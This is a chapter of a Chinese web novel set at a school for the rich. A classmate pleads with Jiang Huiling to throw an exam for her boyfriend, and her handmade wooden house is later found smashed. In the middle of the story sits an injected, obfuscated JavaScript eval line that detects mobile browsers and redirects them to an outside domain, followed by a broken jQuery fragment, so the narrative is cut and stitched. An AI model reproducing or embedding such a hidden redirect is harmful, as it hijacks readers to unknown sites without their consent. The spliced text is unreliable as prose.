虽然和安怡真讨论过卢演芝和金秉智的事,但姜绘龄并未放在心上,不过随口一说,和她又没关系。
哪知道会被人找上门。
刚上完体育课,姜绘龄被白多艺堵在更衣室。白多艺娇娇小小,很秀美的长相,此时努力瞪着眼,让自己看起来更有气势些。
“姜绘龄,不久后的月考你准备得怎么样了?”
姜绘龄有些疑惑,她和白多艺的关系没到互相关心成绩的地步吧,她们仅限于认识。
“为什么会问这个?”
白多艺忍了忍,对于接下来的话自己也觉得有点不好意思,可这关系到金秉智的未来:“你可不可以考差一点?”
莫?姜绘龄差点想揉耳朵:“考差一点?”
白多艺低下头:“对,你月考考差点,别考第一名了。”
“反正你也不需要奖学金,把它让出来吧。”
姜绘龄四处看看,更衣室现在就她们两人,安怡真买吃的去了,不然她在的话,肯定会大骂白多艺猪脑子。
谈个恋爱把脑子谈没了。
“你是在要求我?你要考第一名拿奖学金吗。”
白多艺摇头,她要第一名有什么用:“我又不缺钱……但是秉智需要,每次你都考第一,秉智根本没机会拿一等奖学金,也无法证明自己。”
哇,姜绘龄这下真的在认真打量白多艺了,道听途说终究威力较浅,亲眼见到才能明白白多艺的蠢有多大杀伤力。
“他拿不了一等奖学金不是他的问题吗?”
白多艺张张嘴,是这样没错……
姜绘龄推开白多艺出门:“所以你怎么好意思来要求我给他让路。脸小,皮倒是厚。”
白多艺一下子急眼了,姜绘龄是在骂她吗?可她说的是实话啊,姜绘龄拿这个第一名又没什么用,不如让给有需要的人。
“姜绘龄?姜绘龄你听我说,你要什么好处你说就是了,我能满足的一定满足。”
姜绘龄头都懒得回,恰好安怡真去完便利店回来了,把手里的水递给姜绘龄,安怡真朝白多艺扬了扬脑袋:“她怎么回事?”
“来找我给金秉智让路,让我月考考差点,让金秉智当第一。”姜绘龄拧开瓶盖,这话说出来她都觉得可笑。
安怡真差点呛到:“她真这么说?她这里——”她比了比脑子,“真的没有问题吗?”
姜家和安家算世交,她对姜绘龄的父母不陌生,如果姜绘龄考试出问题,一定会遭到两人的连环轰炸。
事情哪有白多艺说的这么简单。
姜绘龄摇摇头,再聊下去没有意义,没有她也有别人,金秉智又不是万年老二,白多艺还能把所有排在金秉智前面的人都找一遍?
“还是打少了。”
她感叹,把白多艺养成了这个性格。
这个“打”倒不是真的打,只是指教育。
安怡真深以为然。
之后两天白多艺没有出现,姜绘龄以为这事过去了,她事情多,准备先把手工课的作业做完再去忙其他的,这两天一心粘着她的木屋,手工课比谁都认真。
安怡真的手工课都用来睡觉了,见姜绘龄认认真真画图削木头搭建房屋只觉得头大:“第一名真的有这么重要吗?”
姜绘龄点头,真的有这么重要。
她在哪里都会是最厉害的。
“行。”安怡真拿下盖在脸上的书,“我帮你打听打听,看看其他班有没有手工课做得很牛的人,要是有我就把他暗杀了,谁也不能阻止你拿第一!”
姜绘龄知道她在开玩笑,回了一个赞赏的眼神。
只剩下一点就能完成,中午吃完午饭的午休时间,她把木屋带到了休息室继续制作。
休息室是共有的,只有楼层末尾这间最安静光照最好,她每次都来的这间。
窗户开着,微风丝丝缕缕吹进,窗帘随风浮动着,春日的阳光并不浓烈,温度正好。
把屋顶用胶水粘上,她抬起头仰了仰脑袋。
一直埋头脖子很难受。
白多艺这时候冲了进来,休息室的门被推开,一室寂静被打破。
姜绘龄看过去,不自觉皱了皱眉。
“呀姜绘龄……”白多艺环视房间一圈,只看到姜绘龄坐在桌前活动身体,除此外别无他人。
她松口气,没别人正好。早就听说大家选休息室时都会避开这一间,看来是真的。
“如果是要进来休息就进来。”姜绘龄没等到白多艺的问题只能率先开口,“如果是有关月考的,就不用再说了。”
“不是。”白多艺立马接话,她把房门掩上走进休息室,窗前设置了一张四位的木桌,姜绘龄正对她坐着,身后不远处是一张背对的沙发。
她在桌前站定:“和月考无关。”
姜绘龄示意她继续说下去。
白多艺梗着脖子:“你的家教老师可不可以推给我?”
姜绘龄:?
又想揉耳朵了。
“我的家教?你要挖墙脚吗?”
她的家教老师是家里专门请的,为保证她的学业得到最大限度的帮助,只负责教导她一个人。
白多艺搅着手,姜绘龄的家教老师她们家不可能挖得走,不知道要花多少钱…钱其实也不是问题,关键是家里不会给她请的。
她现在已经令父母失望透顶,不怎么受重视。
“能不能介绍给我。”她只这么说。
姜绘龄垂下头继续挤胶水。
她明显不想交谈的模样,白多艺只能说实话:“是秉智,你又不愿意月考考差点,我只能给他请家教老师了。”
这样的话说不定金秉智的成绩能上去。
又是金秉智,姜绘龄放下胶水:“金秉智手里有你杀人的证据吗?”
“啊?”白多艺没听懂,“你别胡说,我没有杀人!”
“那你为什么这么替他着想?严格来说,就算是情侣也不必做到这一步吧。”
“简直是失去自我。”
白多艺想解释,她也知道她的行为很不可理喻,可她现在只有金秉智了。
“白多艺。”姜绘龄喊了一声,目光沉静,把面前的人看了又看,“你该不会是‘我不想要很多很多的钱,我只想要很多很多的爱’的这种人吧?”
白多艺一僵。
姜绘龄大概懂了,有点想笑,又觉得浪费时间:“不用说了,出去。”
眼见白多艺不依不饶,她转了下手里的木棍:“不然我把我的家教送到你家里去?”
白多艺只能闭嘴。送到她家她爸妈就会知道这件事,到时候就是她的死期。
她走出休息室懊恼的跺了跺脚,怎么办,什么都没帮到秉智,她太没用了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585399|171719||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秉智不要她的钱,只想靠自己拿奖学金上大学,这样的愿望她都不能帮忙实现。
休息室的门被关上,房间重新归于平静,姜绘龄喝了口水正想继续,身后的沙发响起一声笑。
“竟然还有这种事,被缠上了?”语气慢条斯理,带着些许调侃和看好戏,以及一丝被吵醒的沙哑。
姜绘龄没有理会。
那声音继续:“感觉不会善罢甘休,需要帮助可以找我。”
只要跟他认输就行。
姜绘龄只送了两个字:“好吵。”
她的木屋就差最后一点了。
那声音再没响起。
很快,又一节手工课后,姜绘龄的作品完成。
安怡真拿着木屋左看右看,想戳一下又怕给姜绘龄戳坏了,姜绘龄会卡着她的脖子连夜让她复原,她才不要这样。
“姜绘龄,不愧是你。”安怡真看了看其他人的作品,大部分还没完成,少数完成的,比姜绘龄大的没有姜绘龄细致,比姜绘龄细致的,没有姜绘龄这样精巧。
“这个狼犬也是削出来的?这得削多久。”她点了点花园里趴着的狼犬。
最后小心翼翼还给姜绘龄,信誓旦旦说这次的第一名绝对又是你:“我真的帮你看了,其他班都没有你做得好……”
也不对,好像是听说五班有个谁也做的比较出色,但她忘了名字。
记不住名字只能说明不是什么重要角色,安怡真很快抛到脑后。
这节课刚好在周五,下课后姜绘龄把作品放在手工课专用教室后的展示台上,已经完成的作品都会放在这里展示,就等评比那天投票。
周末两天照常度过,周一,姜绘龄背上书包去了学校。
如今不用做手工,她的时间空出来一些,可以用来准备其他事情。
舞蹈之后有一个比赛,可以多增加一节舞蹈课,好像还有一个沙盘活动,不过现在不急……
“姜绘龄!”安怡真一巴掌拍在姜绘龄课桌上,“养什么神,出大事了。”
姜绘龄揉揉额头:“最好是。”
“你家没了。”
“?”
安怡真摊手:“你的小木屋四分五裂了。”
“?”
姜绘龄再一次见到自己的“手工艺术品”时它已经碎成了几半,用料本来就轻巧,即便她有特意加固也抵不住大力摔打。
看这四分五裂的架势,很明显是从高处摔下来的。
“到底是谁干的!”安怡真抬头到处看,试图找到监控的存在而后去调监控。
姜绘龄也是这样想,就算教室里没有走廊也会有,等她查到是谁一定不会放过——
“是我。”有人从教室前门进来,身量很高,外套随意搭在肩上,看起来吊儿郎当。
“朴铉?”安怡真指着来人一脸惊讶,“莫呀,你搞什么?”
朴铉是五班的,朴家同样是财阀,他们算从小认识,能说上两句话,只是接触不多。
“来认错啊。”朴铉耸了耸肩,手指扒拉了一下展示台上的碎片,“周五那天想欣赏一番来着,结果没拿稳直接摔了,对不起啊姜绘龄。”
他看向站在展示台面前的少女,黝黑的眼睛里滑过什么,试图用和平的方法解决这件事:
“我赔你一个新的?或者重新找人帮你做一个?”